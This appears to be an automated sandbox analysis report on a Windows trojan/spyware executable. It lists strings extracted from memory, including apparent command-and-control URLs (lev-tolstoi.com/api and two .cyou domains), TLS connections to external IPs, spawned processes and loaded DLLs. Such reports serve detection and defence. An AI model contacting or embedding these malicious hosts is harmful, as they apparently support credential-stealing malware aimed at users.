Source: 8ZVMneG.exe, 00000003.00000003.2483406156.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440607082.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440225330.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000002.2484883630.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.co
Source: 8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2354896716.0000000003C1C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000002.2484883630.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2399977215.0000000003C1F000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2354654616.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2427078648.0000000003C1C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2402833146.0000000003C1F000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440560885.0000000003C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: 8ZVMneG.exe, 00000003.00000003.2402881702.000000000141A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2403246485.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/(x8
Source: 8ZVMneG.exe, 00000003.00000003.2440607082.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440225330.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/;.
Source: 8ZVMneG.exe, 00000003.00000002.2485639494.0000000003C10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/B
Source: 8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/Dr
Source: 8ZVMneG.exe, 00000003.00000003.2483406156.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000002.2484883630.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/Ed
Source: 8ZVMneG.exe, 00000003.00000003.2483406156.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440607082.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440225330.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000002.2484883630.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/OF_
Source: 8ZVMneG.exe, 00000003.00000003.2402881702.000000000141A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2403246485.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/Spe
Source: 8ZVMneG.exe, 00000003.00000002.2484883630.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2483778671.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: 8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api0b
Source: 8ZVMneG.exe, 00000003.00000003.2440607082.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440225330.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apibV7
Source: 8ZVMneG.exe, 00000003.00000003.2402881702.000000000141A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2403246485.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiwDnl
Source: 8ZVMneG.exe, 00000003.00000003.2440607082.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440225330.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/e
Source: 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/g
Source: 8ZVMneG.exe, 00000003.00000002.2485639494.0000000003C10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/k
Source: 8ZVMneG.exe, 00000003.00000003.2483406156.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000002.2484883630.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/piMe
Source: 8ZVMneG.exe, 00000003.00000003.2483406156.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2402881702.000000000141A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440607082.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2440225330.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2463297099.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000002.2484883630.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2423659737.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2403246485.000000000141C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/s
Source: 8ZVMneG.exe, 00000003.00000003.2483778671.00000000013B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apical
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sordid-snaked.cyou/api
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900a
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 8ZVMneG.exe, 00000003.00000003.2377179600.0000000003D36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 8ZVMneG.exe, 00000003.00000003.2377179600.0000000003D36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/em
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/t
Source: 8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2402934236.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 8ZVMneG.exe, 00000003.00000003.2331522501.0000000003C5C000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2331680839.0000000003C5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: 8ZVMneG.exe, 00000003.00000003.2377108126.0000000003C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: 8ZVMneG.exe, 00000003.00000003.2377108126.0000000003C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 8ZVMneG.exe, 00000003.00000003.2377179600.0000000003D36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: 8ZVMneG.exe, 00000003.00000003.2377179600.0000000003D36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 8ZVMneG.exe, 00000003.00000003.2377179600.0000000003D36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 8ZVMneG.exe, 00000003.00000003.2272475504.000000000140A000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2300927099.0000000001413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 8ZVMneG.exe, 00000003.00000003.2272506156.00000000013B4000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2272475504.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 178.62.201.34:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.62.201.34:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49781 version: TLS 1.2

Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00EF5000	0_2_00EF5000
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00EE29F2	0_2_00EE29F2
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00ECB2B8	0_2_00ECB2B8
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00EE0C16	0_2_00EE0C16
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00ED5790	0_2_00ED5790
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00ECFF5A	0_2_00ECFF5A

Source: C:\Users\user\Desktop\8ZVMneG.exe

Code function: String function: 00ECB7C0 appears 47 times

Source: 8ZVMneG.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 8ZVMneG.exe	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 8ZVMneG.exe	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@13/3

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1916:120:WilError_03

Source: C:\Users\user\Desktop\8ZVMneG.exe

Command line argument: ~q

0_2_00ED70D0

Source: C:\Users\user\Desktop\8ZVMneG.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 8ZVMneG.exe, 00000003.00000003.2333691545.0000000003C2A000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2333538909.0000000003C47000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000003.00000003.2355216686.0000000003C47000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 8ZVMneG.exe	Virustotal: Detection: 65%
Source: 8ZVMneG.exe	ReversingLabs: Detection: 71%

Source: C:\Users\user\Desktop\8ZVMneG.exe

File read: C:\Users\user\Desktop\8ZVMneG.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\8ZVMneG.exe "C:\Users\user\Desktop\8ZVMneG.exe"
Source: C:\Users\user\Desktop\8ZVMneG.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\8ZVMneG.exe	Process created: C:\Users\user\Desktop\8ZVMneG.exe "C:\Users\user\Desktop\8ZVMneG.exe"
Source: C:\Users\user\Desktop\8ZVMneG.exe	Process created: C:\Users\user\Desktop\8ZVMneG.exe "C:\Users\user\Desktop\8ZVMneG.exe"	Jump to behavior

Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\8ZVMneG.exe	Section loaded: ncryptsslp.dll	Jump to behavior
